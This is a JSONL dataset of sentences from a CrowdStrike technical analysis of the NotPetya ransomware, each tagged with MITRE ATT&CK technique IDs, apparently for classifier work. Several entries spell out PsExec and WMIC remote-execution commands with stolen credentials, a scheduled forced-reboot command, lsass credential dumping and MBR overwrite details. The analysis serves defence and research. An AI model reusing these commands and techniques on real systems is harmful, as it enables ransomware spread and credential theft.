{"sentence": "Update: Due to naming convention consistency in the industry, CrowdStrike is now calling this variant of Petya – NotPetya.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Executive Summary This technical analysis provides an in-depth analysis and review of NotPetya.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For more information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents the NotPetya attack.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "NotPetya combines ransomware with the ability to propagate itself across a network.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It spreads to Microsoft Windows machines using several propagation methods, including the EternalBlue exploit for the CVE-2017-0144 vulnerability in the SMB service.", "labels": ["T1210"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is the same vulnerability Microsoft reported on in MS17-010, which was exploited so successfully in the recent WannaCry ransomware outbreak.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once a machine is infected by NotPetya, a series of malicious activities ensue, including the following: Dropped files Process hashes and process privilege checks Credential theft Token impersonation Malware propagation Network node enumeration SMB copy and remote execution SMBv1 exploitation via EternalBlue UNC write malware to admin$ on remote target Remote execution of the malware MBR ransomware Physical drive manipulation MFT encryption File encryption System shutdown Anti-forensics Ransomware instructions for file recovery occur after the infection process has completed.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Do NOT pay the ransom.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "No files will be recovered if the ransom is paid.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Dropped Files", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following files are dropped by the malware:", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Ransomware DLL C:\\windows\\perfc.dat", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware decompresses its resource named 0x3 of type RT_RCDATA, and writes the contents to C:\\Windows\\dllhost.dat.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Analysis of dllhost.dat shows that it is a copy of the PsExec utility, which is a telnet replacement that allows execution of processes on other systems.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "C:\\windows\\dllhost.dat Credential theft module Written as a .tmp file to the temp directory Ransomware splash and warning files Command Line Execution", "labels": ["T1059.003", "T1218.011"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware is a DLL that is launched using rundll32.exe: “C:\\Windows\\perfc.dat”,#1 18", "labels": ["T1218.011"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "[“username1:pass1” “username2:pass2” … ] Perfc.dat is the malware name.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It is executed with the following arguments: #1 → This is the ordinal number of the exported function 18 → Minutes used to determine how long to wait for the scheduled shutdown “username:pass” → Credentials to be used to propagate the malware on the network.", "labels": ["T1057"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Process Hashes and Process Privilege Checks Upon being loaded, the malware starts a subroutine that hashes each running process on the system, and compares each hash with 3 hardcoded hashes: 0x6403527E → avp.exe associated with Kaspersky AV 0x23214B44 → ns.exe associated with Norton Security 0x651B3005 → ccSvcHst.exe associated with Symantec A global flag PROC_FLAG is used to track which of the 3 processes are running on the system. PROC_FLAG", "labels": ["T1057", "T1518.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xFF → none PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xFB → ns.exe or ccSvcHst.exe PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xF7 → avp.exe PROC_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 0xF3 → avp.exe and either ns.exe and/or ccSvcHst.exe", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In addition, within the same subroutine, the malware attempts to gain various levels of privilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It uses a global flag PRIV_FLAG to track the extent of privileges the malware is able to obtain.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "PRIV_FLAG = 0 → no privileges PRIV_FLAG = 1 → SeShutdownPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Ability to shutdown the system. PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 2 → SeDebugPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Required to either debug or adjust memory for a process owned by another account PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 3 → SeShutdownPrivilege & SeDebugPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 4 → SeTcbPrivilege.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Process can assume the identity of any user PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 5 → SeShutdownPrivilege & SeTcbPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 6 → SeDebugPrivilege & SeTcbPrivilege PRIV_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "= 7 → SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege These 2 flags have a considerable impact on the execution of the malware.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The credential theft module is dropped if the malware has one of the following privileges: (It should be noted that the PROC_FLAG can any of the possible values) SeDebugPrivilege SeShutdownPrivilege & SeDebugPrivilege SeDebugPrivilege & SeTcbPrivilege SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege The MBR overwrite and MFT encryption subroutine is not executed if avp.exe is found running on the system The EternalBlue subroutine is not executed if either ns.exe or ccSvcHst.exe are found running on the system The system is rebooted using the API NtRaiseHardError if the process has at least the SeShutdownPrivilege level Credential Theft Credentials are provided to the malware in two ways:", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "As an argument to the DLL (see command line execution section) Communication via a named pipe from the credential theft module To create a named pipe, a random GUID is generated, and the credential theft module is launched as a child process with the named pipe as an argument.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Communication is constantly monitored by a thread that invokes PeekNamedPipe to copy data from the pipe.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Credential Theft Module Depending on the OS architecture, the malware will either drop a 32-bit version or a 64-bit version of the credential theft module.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware decompresses a resource (0x1 if the OS is x86, 0x2 if the OS is x64) of type RT_RCDATA using zlib 1.2.8 compression.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The resulting contents are then written to a randomly named .tmp file in the %TEMP% folder.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Upon being loaded, the module initializes and sets up a CNG provider.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It calls OpenProcess on lsass.exe with access flag set to VM_READ, and looks for the modules wdigest.dll and lsasrv.dll loaded in the lsass.exe process.", "labels": ["T1003.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "wdigest.dll → Digest authentication security package.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Used to: Authenticate client access with integrity protection to a directory service using LDAP Authenticate client access using SASL Authenticate client access to a web site lsasrv.dll → Authentication security component.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The lsasrv.dll is a LSA (Local Security Authority)", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Server service, which both enforces security policies and acts as the security package manager for the LSA This file extracts credentials from LSASS similar to Mimikatz.", "labels": ["T1003.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The extracted credentials are sent to the NotPetya process via the named pipe.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Token Impersonation Impersonation occurs only if the process has the required privilege level to assume the identity of another user.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "OpenProcessToken and GetTokenInformation is used to grab the TokenSessionId for terminal service sessions.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Each token is duplicated and the new handle is saved to a list.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For each of the duplicated tokens, a new thread is created in suspended mode.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The impersonated token replaces the current thread token with SetThreadToken and the thread is resumed.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This thread is then used to execute the SMB copy and remote execution section as the impersonated user.", "labels": ["T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Malware Propagation The following methods are used to spread across a network: Network node enumeration SMB copy and remote execution SMB exploitation via EternalBlue Network Node Enumeration", "labels": ["T1210", "T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware attempts to gather a list of known TCP endpoints and IP addresses to check whether it can connect to the IPs via SMB ports 445 and 139.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware creates a thread for core work that invokes the following API’s: GetExtendedTcpTable to retrieve a list of TCP endpoints GetIpNetTable to retrieve the IPv4 to physical address mapping table → Gets a MIB_IPNETTABLE structure NetServerEnum to get a list of servers on the domain with the following parameters: Servername = null level = 101 (return server names, types, and associated data) NetServerGetInfoto retrieve the current configuration for the local server, specifically to determine if the system is a non-domain controller server, a primary domain controller, or a backup domain controller.", "labels": ["T1082", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The API returns a SERVER_INFO_101 structure that contains an sv101_type field.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware checks to see if the value of that field is SV_TYPE_SERVER_NT, SV_TYPE_DOMAIN_CTRL, or a SV_TYPE_DOMAIN_BAKCTRL.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If the field is either of the values mentioned, the following takes place: DhcpEnumSubnets to get an enumerated list of subnets on the server DhcpGetSubnetInfo on each subnet on the list to get the DHCP_SUBNET_STATE value to see whether the DhcpSubnetEnabled flag is set DhcpEnumSubnetClients on each subnet with the aforementioned flag set.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This function returns an enumerated list of clients associated with the IP addresses in each subnet.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "For each client, the following occurs: Obtains the IP address from the ClientIpAddress field in the DHCP_CLIENT_INFO structure Attempts to establish a socket connection to the client IPs over ports 445 and 139 (both associated with SMB) SMB Copy and Remote Execution There are two approaches to using valid credentials to copy and execute the malware to a remote host: Token impersonation Requires the process to have “SeTchPrivilege” Stolen credentials Each of these methods will be used to do a UNC write to Admin$ and then execute the malware on the target machine.", "labels": ["T1016", "T1078", "T1210", "T1570"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "SMBv1 Exploitation via EternalBlue NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit.", "labels": ["T1210"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "UNC Write to Admin$ WNetAddConnection2W is used to connect to a server using the default credentials for the impersonated token, and an attempt is made to write the file to: \\\\server-name\\\\admin$\\\\malware-name UNC write to admin$ CreateFile and WriteFile are used to write the file to the remote server.", "labels": ["T1078", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The typical filename is perfc.dat.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Remote Execution Remote execution relies on either PsExec or WMIC.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "DLLHost.dat (psexec) The following command will execute on the remote machine: C:\\Windows\\dllhost.dat \\\\<target host> -accepteula -s", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "-d C:\\Windows\\System32\\rundll32.exe “C:\\Windows\\perfc.dat”,#1 18 “<additional creds for arguments>”” -accepteula → This suppresses the display of the license dialog -s", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "→ run as system -d → do not wait for process termination -u → username (not shown here) -p → password (not shown here) WMIC", "labels": ["T1047"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following command will execute on the remote as the specified user: C:\\Windows\\system32\\wbem\\wmic.exe /node:”<server name>” /user:”<username>”", "labels": ["T1047"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/password:”<password>” process call create “C:\\Windows\\System32\\rundll32.exe \\”C:\\Windows\\perfc.dat\\” #1 19 “<additional creds for arguments>”” /node → specify server name /user → username /password → password Process call create → execute remote command Once the command line arguments are generated, either CreateProcessAsUser or CreateProcess is executed, depending on whether this is being done through impersonation or stolen credentials.", "labels": ["T1059.003", "T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "MBR Ransomware Physical Drive Manipulation The malware calls DeviceIOControl on //./PhysicalDrive0 with IOCTL_DISK_GET_PARTITION_INFO_EX control code to get PARTITION_INFORMATION_EX structure.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The structure represents the physical location on the disk.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware takes the following steps to modify the MBR: Reads the MBR and encodes it using XOR encoding with key 0x7 The first sector is overwritten by a custom boot loader", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The next 31 sectors are then overwritten by 16-bit code that is responsible for encrypting the MFT using Salsa20 encryption Sector 32 contains the following: CRYPT_FLAG", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "–> Initially, this byte is set to 0, which denotes that the MFT has not been encrypted.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The 16-bit code uses this flag to determine whether to infect the MFT A random array of bytes 0x20 in length is generated using CryptGenRangom.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is used as the Salsa20 encryption key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In addition, another random array of bytes 0x8 in length is created using the same API call; this is used as the nonce for the encryption.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware also writes the hardcoded string 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX in the sector.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is the Bitcoin wallet that is later displayed on the splash screen.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "A random blob is created by CryptGenRandom 0x3C bytes in length.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is presented as the user’s personal installation key on the splash screen.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It should be noted that this personal installation key is random in nature; and therefore there is no way to trace it back to the victim machine Sector 33 contains all 0x7’s.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is used as an integrity check for the decryption process.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Sector 34 contains the original MBR that was encoded by XORing with 0x7 MFT Encryption As mentioned previously, the malware has its own custom boot loader once the machine has been infected and rebooted.", "labels": ["T1027"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This code within the MBR is responsible for loading the code which encrypts the MFT using Salsa20, displays the ransom note, and accepts the private key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It should be noted that the code is a low-level 16-bit code that uses BIOS interrupt calls to display text to the user, accept user input, and read/write to various sectors.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Since this code is run outside of the OS, its capabilities are quite limited.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "However, its main purpose is to encrypt or decrypt the MFT, which it is able to accomplish using Salsa20.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following are the BIOS interrupt services used throughout the code: int 0x13 – read/write sectors on disk int 0x10 – display text int 0x19 – cause disk reboot int 0x16 – obtain keystrokes, and status of keyboard buffer The code first checks the CRYPT_FLAG in sector 32 to see whether it has been set to 1 (encrypted).", "labels": ["T1056.001"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The first time a machine is infected, the CRYPT_FLAG is always set to 0 (not encrypted), which leads the malware to invoke a subroutine that displays the following decoy check disk screen to the user.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In reality, the subroutine performs the following functions: Sets the CRYPT_FLAG to 1.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is performed before any encryption actually takes place Encrypts the contents of Sector 33 using the Salsa20 cipher.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Shortly after the encryption, the buffer containing the Salsa20 key is overwritten; therefore, the key is destroyed Encrypts the MFT and stores", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "a counter of MFT records that are encrypted Causes a disk reboot Upon a second reboot, the NotPetya ransomware note is displayed as shown below:", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "In addition, it initiates a loop that waits for the user to input the purchased key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the key is entered, the code attempts to decrypt the contents of Sector 33, which were previously encrypted using Salsa20 key.", "labels": ["T1027", "T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the sector is decrypted, the code reads all 512 bytes of the sector and ensures that they all equal 0x7.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If this is successful, the CRYPT_FLAG is set to 2 (decrypted), and the same key is used to decrypt the MFT.", "labels": ["T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Furthermore, the original encoded MBR in Sector 34 is also decoded, and placed back into Sector 0, as shown below.", "labels": ["T1027", "T1140"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "File Encryption Along with MFT encryption", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ", the malware also targets certain files.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following table contains the file extensions that are targeted: .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".c .cfg .conf .cpp .cs .ctl", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".dbf .disk .djvu .doc .docx.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".dwg", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".eml .fdb .gz", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".h .hdd .kdbx .mail .mdb .msg .nrg .ora", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".ost .ova", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".ovf", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".pdf .php", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".pmf .ppt .pptx .pst .pvi .py .pyc", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".rar", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".rtf", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".sln .sql .tar .vbox .vbs .vcb .vdi .vfd .vmc", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": ".vmdk .vmsd .vmx .vsdx .vsv .work .xls .xlsx .xvd .zip", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware only targets fixed drives on the system.", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It invokes CryptGenKey to generate an AES-128 key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This key is used to encrypt all the files on the system.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The malware will first start enumerating files in the directory it is being executed from.", "labels": ["T1083"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following steps are taken to encrypt the individual files: Gets file handle Gets the file size Creates a file mapping of the file with PAGE_READWRITE protection Maps the view of the file mapping with FILE_MAP_WRITE | FILE_MAP_READ access Calls CryptEncrypt to encrypt the contents of the file using AES-128 Once the files in a folder are encrypted, the ransomware drops a ransomware note in a file named README.txt.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The “personal installation key” is the result of the AES-128 key encrypted with an RSA-2048 key, which is included in the malware.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Once the README.txt is dropped on disk, CryptDestroyKey is invoked to release the handle to the key.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The following message is then displayed to the user: System Shutdown NotPetya employs a few methods to ensure that the system reboots so that the boot loader loads the MFT encryptor code.", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "It spawns cmd.exe with the following commandline:", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/c schtasks /Create/SC once /TN “” /TR “C:\\Windows\\system32\\shutdown.exe /r /f”", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/ST <HH:MM>", "labels": [], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "The <HH:MM> value depends on the second parameter when being invoked by rundll32.exe.", "labels": ["T1218.011"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "If the second parameter is 30, the scheduled task will trigger 30 minutes after the malware execution.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "However, if no second parameter is provided, the scheduled task is set to trigger 60 minutes after the malware execution by default.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Explanation of schtask parameters: /TN → taskname (not providing a custom name forces Windows to provide a random GUID as a name) /TR → taskrun.", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "Path and filename of the task to be run /ST → starttime Explanation of shutdown.exe parameters:", "labels": ["T1053.005"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "/r → reboot after shutdown /f → forces running applications to close In addition, it also invokes the API NTRaiseHardError.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
{"sentence": "This is an undocumented Windows API that causes the system to reboot.", "labels": ["T1106"], "doc_title": "NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft"}
